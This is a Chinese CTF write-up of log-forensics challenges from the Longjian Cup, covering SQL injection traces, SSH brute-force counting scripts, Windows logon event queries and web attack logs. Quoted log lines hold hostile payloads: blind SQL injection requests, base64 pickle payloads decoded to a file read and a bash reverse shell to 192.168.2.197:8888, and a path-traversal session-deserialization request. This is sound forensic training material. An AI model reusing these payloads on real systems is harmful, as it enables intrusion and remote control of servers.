Linux&Windows 日志分析 陇剑杯 CTF

本文涉及的产品
日志服务 SLS,月写入数据量 50GB 1个月
简介: Linux&Windows 日志分析 陇剑杯 CTF

0x00 赛题

下载就完事了

链接:https://pan.baidu.com/s/1KSSXOVNPC5hu_Mf60uKM2A?pwd=haek 
提取码:haek
目录结构
LearnCTF
├───LogAnalize
│   ├───linux简单日志分析
│   │       linux-log_2.zip
│   │
│   ├───misc日志分析
│   │       access.log
│   │
│   ├───misc简单日志分析
│   │       app.log
│   │
│   ├───sql注入分析
│   │       SQL.zip
│   │
│   └───windows日志分析
│           security-testlog_2.zip
└───TrafficAnalize
    ├───ios
    │       ios.zip
    └───webshell
            hack.pcap
 本篇题目在LogAnalize目录中

0x01 sql注入分析

题目

access.log

0x0101sql注入分析1

小明的网站被人注入了,还好有日志,请你帮他分析分析,利用附件回答sql注入分析1-3

sql注入分析-1: 黑客在注入过程中采用的注入手法叫_____________。(格式为4个汉字,例如“拼搏努力”)

布尔盲注

观察,发现攻击者在爆数据库,通过页面回显判断注入值是否正确,为布尔盲注

0x0102sql注入分析2

sql注入分析-2: 黑客在注入过程中,最终获取flag的数据库名、表名和字段名是_____________。(格式为“数据库名#表名#字段名”,例如database#table#column)

简单,到后面看一眼,比如

172.17.0.1 - - [01/Sep/2021:01:46:06 +0000] "GET /index.php?id=1%20and%20if(substr((select%20flag%20from%20sqli.flag),43,1)%20=%20'+',1,(select%20table_name%20from%20information_schema.tables)) HTTP/1.1" 200 478 "-" "python-requests/2.26.0"

不难看出字段名flag,表名flag,库名sqli

0x0103sql注入分析3

sql注入分析-3: 黑客最后获取到的flag字符串为_____________。

繁琐,到后面看每一位的值,也可用脚本

flag{deddcd67-bcfd-487e-b940-1217e668c7db}

参考

https://blog.csdn.net/weixin_46245411/article/details/120304208

0x02linux简单日志分析

题目

linux-log.zip

0x0201linux简单日志分析1

分析下列Linux日志,回答后续问题

1、有多少个IP在暴破主机root的账号(提交失败次数大于等于10次的总IP数)

比如10个ip,则提交flag{10}

若行中出现"Failed password for root",考虑ip在爆破主机

would_str = "Failed password for root"
filename = 'secure'
ip_dic = {}
with open(filename) as file:
    for line in file:
        if would_str in line:
            ip =  line.split('from')[1].split(' ')[1]
            if ip in ip_dic:
                ip_dic[ip] += 1
            else:
                ip_dic[ip] = 1
for (ip, count) in ip_dic.items():
    if count >= 10:
        print('ip: ',ip + ' count: ',count)
    else:
        continue
print("main done")
# ip:  154.221.19.251 count:  50
# ip:  117.141.131.196 count:  16
# ip:  117.140.151.35 count:  10
# flag{3}
# https://zhuanlan.zhihu.com/p/529247465

把4个日志跑一下,得到正在爆破主机的ip

0x0202linux简单日志分析2

2、登录成功的IP有多少个?

如果有10个,则提交flag{10}

若行中出现’Accepted ',考虑ip登录成功

用脚本跑一跑,即可

target_str = 'Accepted '
file_name = 'secure-20221113'
success_ip_dic = {}
with open(file_name,'r') as file:
    for line in file:
        if target_str in line:
            temp = line.split('from')
            temp1 = temp[1].split(' ')
            ip = line.split('from')[1].split(' ')[1]
            # print('ip:',ip)
            if ip in success_ip_dic:
                success_ip_dic[ip]+=1
            else:
                success_ip_dic[ip]=1
for (ip,count) in success_ip_dic.items():
    print('ip',ip,'count:',count)
count_success = 0
for (ip,count) in success_ip_dic.items():
    count_success += 1
print('success_ip: ',count_success)
print('all done')
# secure
# ip 112.36.235.161 count: 4
# 1023
# ip 114.245.81.201 count: 2
# success_ip:  1
# 1030
# ip 114.245.81.201 count: 1
# success_ip:  1
# 1106
# ip 114.245.81.201 count: 2
# success_ip:  1
# 1113
# ip 117.141.131.196 count: 5
# ip 219.232.77.33 count: 3
# ip 39.144.135.249 count: 2
# success_ip:  3
# flag{5}

0x03 windows 日志分析

题目

security-testlog.zip

工具

logparser

0x0301 windows 日志分析1

请帮忙分析我的Windows,Security日志,回答Windows日志分析相关问题

1、一共有哪些登陆形式访问了我的电脑?

例如,一共有1,7,10三种logontype登陆,则提交:

1:7:10 使用:分隔,按数字顺序排列

查询语句

logparser -i:evt -o:datagrid "SELECT distinct EXTRACT_TOKEN(Strings, 8, '|') AS LogonType FROM <盘符>:<.evtx文件路径> WHERE EventID = 4624"

.evtx后缀文件也可用windows的事件查看器打开

题目问登录的logontype

首先筛选登录成功的事件,事件号为4624

<EventData>
  <Data Name="SubjectUserSid">S-1-5-18</Data> 
  <Data Name="SubjectUserName">DESKTOP-5VLO0JB$</Data> 
  <Data Name="SubjectDomainName">WORKGROUP</Data> 
  <Data Name="SubjectLogonId">0x3e7</Data> 
  <Data Name="TargetUserSid">S-1-5-18</Data> 
  <Data Name="TargetUserName">SYSTEM</Data> 
  <Data Name="TargetDomainName">NT AUTHORITY</Data> 
  <Data Name="TargetLogonId">0x3e7</Data> 
  <Data Name="LogonType">5</Data>

xml视图中,LogonType在EventData标签中,想要找到LogonType需要使用EXTRACT_TOKEN(Strings, 8, '|')(索引以0开始,LogonType的索引为8)

如图,可以看到LogonType

0x0302 windows 日志分析2

2021年最后一次远程登陆的时间是?

提交形式如: 2021-09-30-12:30:05

远程登录的事件号是4648

还是用logparser写查询语句,还可使用windows自带的事件查看器筛选。事件查看器有GUI页面,傻瓜式使用

logparser -i:evt -o:datagrid "select timegenerated from <盘符>:<路径> where EventID = 4648 and to_date(timegenerated) between timestamp('2021-01-01','yyyy-mm-dd') and timestamp('2022-01-01','yyyy-mm-dd')"

如图,可以观察到2021年最后一次远程登陆的时间

0x04CTF Misc

陇剑杯中的Misc题目,其中包含了日志分析的内容

简单日志分析

题目

app.log

简单日志分析1

日志很简单,分析试试,回答简单日志分析1-3 简单日志分析-1: 黑客攻击的参数是______。(如有字母请全部使用小写)

那就找攻击参数

行  89: 127.0.0.1 - - [07/Aug/2021 10:43:12] "GET /?user=STAKcDAKMFMnd2hvYW1pJwpwMQowKGcwCmxwMgowKEkwCnRwMwowKGczCkkwCmRwNAowY29zCnN5c3RlbQpwNQowZzUKKGcxCnRSLg== HTTP/1.1" 500 -
  行 207: 127.0.0.1 - - [07/Aug/2021 10:43:12] "GET /?user=STAKcDAKMFMnY2F0IC9UaDRzX0lTX1ZFUllfSW1wb3J0X0ZpMWUnCnAxCjAoZzAKbHAyCjAoSTAKdHAzCjAoZzMKSTAKZHA0CjBjb3MKc3lzdGVtCnA1CjBnNQooZzEKdFIu HTTP/1.1" 500 -
  行 234: 127.0.0.1 - - [07/Aug/2021 10:43:12] "GET /?user=STAKcDAKMFMnYmFzaCAtaSA%2bJiAvZGV2L3RjcC8xOTIuMTY4LjIuMTk3Lzg4ODggMD4mMScKcDEKMChnMApscDIKMChJMAp0cDMKMChnMwpJMApkcDQKMGNvcwpzeXN0ZW0KcDUKMGc1CihnMQp0Ui4= HTTP/1.1" 500 -

通过观察,发现攻击参数是user

简单日志分析2

简单日志分析-2: 黑客查看的秘密文件的绝对路径是_____________。

使用base64解密攻击载荷

STAKcDAKMFMnY2F0IC9UaDRzX0lTX1ZFUllfSW1wb3J0X0ZpMWUnCnAxCjAoZzAKbHAyCjAoSTAKdHAzCjAoZzMKSTAKZHA0CjBjb3MKc3lzdGVtCnA1CjBnNQooZzEKdFIu
decode of base64
0S'cat /Th4s_IS_VERY_Import_Fi1e'

即可看到文件的绝对路径

简单日志分析3

简单日志分析-3: 黑客反弹shell的ip和端口是_____________。(格式使用“ip:端口",例如127.0.0.1:2333)

还是用base64解

STAKcDAKMFMnYmFzaCAtaSA%2bJiAvZGV2L3RjcC8xOTIuMTY4LjIuMTk3Lzg4ODggMD4mMScKcDEKMChnMApscDIKMChJMAp0cDMKMChnMwpJMApkcDQKMGNvcwpzeXN0ZW0KcDUKMGc1CihnMQp0Ui4= 
decode of base64
https://base64.us/
0S'bash -i >& /dev/tcp/192.168.2.197/8888 0>&1'

即可看到ip和端口

0x05日志分析

题目

access.log

日志分析1

小明的网站又又又被攻击了,快来帮帮他。 依照附件解答:日志分析1-3 日志分析-1: 网络存在源码泄漏,源码文件名是_____________。(请提交带有文件后缀的文件名,例如x.txt)

推测攻击者在网站中下载到了源码,源码的文件格式应当无法被服务器解析,所以攻击者访问文件路径,服务器直接让攻击者下载文件

在日志中所有的200状态中,发现/www%2ezip文件被成功访问,%2e是url编码的.,即可推测泄露的源码时www.zip

日志分析2

日志分析-2: 分析攻击流量,黑客往/tmp目录写入一个文件,文件名为_____________。

找到疑似路径的访问记录

172.17.0.1 - - [07/Aug/2021:01:38:20 +0000] "GET /?filename=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Ftmp%2Fsess_car&content=func%7CN%3Bfiles%7Ca%3A2%3A%7Bs%3A8%3A%22filename%22%3Bs%3A16%3A%22.%2Ffiles%2Ffilename%22%3Bs%3A20%3A%22call_user_func_array%22%3Bs%3A28%3A%22.%2Ffiles%2Fcall_user_func_array%22%3B%7Dpaths%7Ca%3A1%3A%7Bs%3A5%3A%22%2Fflag%22%3Bs%3A13%3A%22SplFileObject%22%3B%7D HTTP/1.1" 302 879 "-" "python-requests/2.26.0"
172.17.0.1 - - [07/Aug/2021:01:38:21 +0000] "GET /?filename=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Ftmp%2Fsess_car&content=func%7CN%3Bfiles%7Ca%3A2%3A%7Bs%3A8%3A%22filename%22%3Bs%3A16%3A%22.%2Ffiles%2Ffilename%22%3Bs%3A20%3A%22call_user_func_array%22%3Bs%3A28%3A%22.%2Ffiles%2Fcall_user_func_array%22%3B%7Dpaths%7Ca%3A1%3A%7Bs%3A5%3A%22%2Fflag%22%3Bs%3A13%3A%22SplFileObject%22%3B%7D HTTP/1.1" 302 879 "-" "python-requests/2.26.0"
Decode of URL:
172.17.0.1 - - [07/Aug/2021:01:38:20  0000] "GET /?filename=../../../../../../../../../../../../../../../../../tmp/sess_car&content=func|N;files|a:2:{s:8:"filename";s:16:"./files/filename";s:20:"call_user_func_array";s:28:"./files/call_user_func_array";}paths|a:1:{s:5:"/flag";s:13:"SplFileObject";} HTTP/1.1" 302 879 "-" "python-requests/2.26.0"
172.17.0.1 - - [07/Aug/2021:01:38:21  0000] "GET /?filename=../../../../../../../../../../../../../../../../../tmp/sess_car&content=func|N;files|a:2:{s:8:"filename";s:16:"./files/filename";s:20:"call_user_func_array";s:28:"./files/call_user_func_array";}paths|a:1:{s:5:"/flag";s:13:"SplFileObject";} HTTP/1.1" 302 879 "-" "python-requests/2.26.0"

文件名sess_car

日志分析3

日志分析-3: 分析攻击流量,黑客使用的是______类读取了秘密文件。

有点反序列化内感觉

SplFileObject类

参考文章

https://blog.csdn.net/weixin_46245411/article/details/120304208

https://www.cnblogs.com/hetianlab/p/15061694.html

https://www.secpulse.com/archives/163339.html

https://lca.xlog.app/Windows-XML-shi-jian-ri-zhi-EVTX-jie-xi?locale=zh

相关实践学习
日志服务之使用Nginx模式采集日志
本文介绍如何通过日志服务控制台创建Nginx模式的Logtail配置快速采集Nginx日志并进行多维度分析。
相关文章
|
2月前
|
Linux 数据安全/隐私保护 Windows
Linux共享Windows目录
Linux共享Windows目录
|
2月前
|
缓存 NoSQL Linux
【Azure Redis 缓存】Windows和Linux系统本地安装Redis, 加载dump.rdb中数据以及通过AOF日志文件追加数据
【Azure Redis 缓存】Windows和Linux系统本地安装Redis, 加载dump.rdb中数据以及通过AOF日志文件追加数据
【Azure Redis 缓存】Windows和Linux系统本地安装Redis, 加载dump.rdb中数据以及通过AOF日志文件追加数据
|
2月前
|
Unix Linux Ruby
在windows和linux上高效快捷地发布Dash应用
在windows和linux上高效快捷地发布Dash应用
|
2月前
|
Linux iOS开发 开发者
跨平台开发不再难:.NET Core如何让你的应用在Windows、Linux、macOS上自如游走?
【8月更文挑战第28天】本文提供了一份详尽的.NET跨平台开发指南,涵盖.NET Core简介、环境配置、项目结构、代码编写、依赖管理、构建与测试、部署及容器化等多个方面,帮助开发者掌握关键技术与最佳实践,充分利用.NET Core实现高效、便捷的跨平台应用开发与部署。
67 3
|
2月前
|
Ubuntu Linux 虚拟化
安装Windows Linux 子系统的方法:适用于windows 11 版本
本文提供了在Windows 11系统上安装Linux子系统(WSL)的详细步骤,包括启用子系统和虚拟化功能、从Microsoft Store安装Linux发行版、设置WSL默认版本、安装WSL2补丁,以及完成Ubuntu的首次安装设置。
136 2
|
26天前
|
Linux 开发者 Python
从Windows到Linux,Python系统调用如何让代码飞翔🚀
【9月更文挑战第10天】在编程领域,跨越不同操作系统的障碍是常见挑战。Python凭借其“编写一次,到处运行”的理念,显著简化了这一过程。通过os、subprocess、shutil等标准库模块,Python提供了统一的接口,自动处理底层差异,使代码在Windows和Linux上无缝运行。例如,`open`函数在不同系统中以相同方式操作文件,而`subprocess`模块则能一致地执行系统命令。此外,第三方库如psutil进一步增强了跨平台能力,使开发者能够轻松编写高效且易维护的代码。借助Python的强大系统调用功能,跨平台编程变得简单高效。
18 0
|
1月前
|
Linux 网络虚拟化 Windows
ccproxy windows上用的代理软件(类似linux系统上的squid)
ccproxy windows上用的代理软件(类似linux系统上的squid)
|
2月前
|
Linux Windows Python
最新 Windows\Linux 后台运行程序注解
本文介绍了在Windows和Linux系统后台运行程序的方法,包括Linux系统中使用nohup命令和ps命令查看进程,以及Windows系统中通过编写bat文件和使用PowerShell启动隐藏窗口的程序,确保即使退出命令行界面程序也继续在后台运行。
|
2月前
|
XML 数据格式 Windows
【Azure 云服务】Azure Cloud Service (Extended Support) 云服务开启诊断日志插件 WAD Extension (Windows Azure Diagnostic) 无法正常工作的原因
【Azure 云服务】Azure Cloud Service (Extended Support) 云服务开启诊断日志插件 WAD Extension (Windows Azure Diagnostic) 无法正常工作的原因
|
2月前
|
Java Linux C++
【Azure 应用服务】App Service For Linux 部署Java Spring Boot应用后,查看日志文件时的疑惑
【Azure 应用服务】App Service For Linux 部署Java Spring Boot应用后,查看日志文件时的疑惑
下一篇
无影云桌面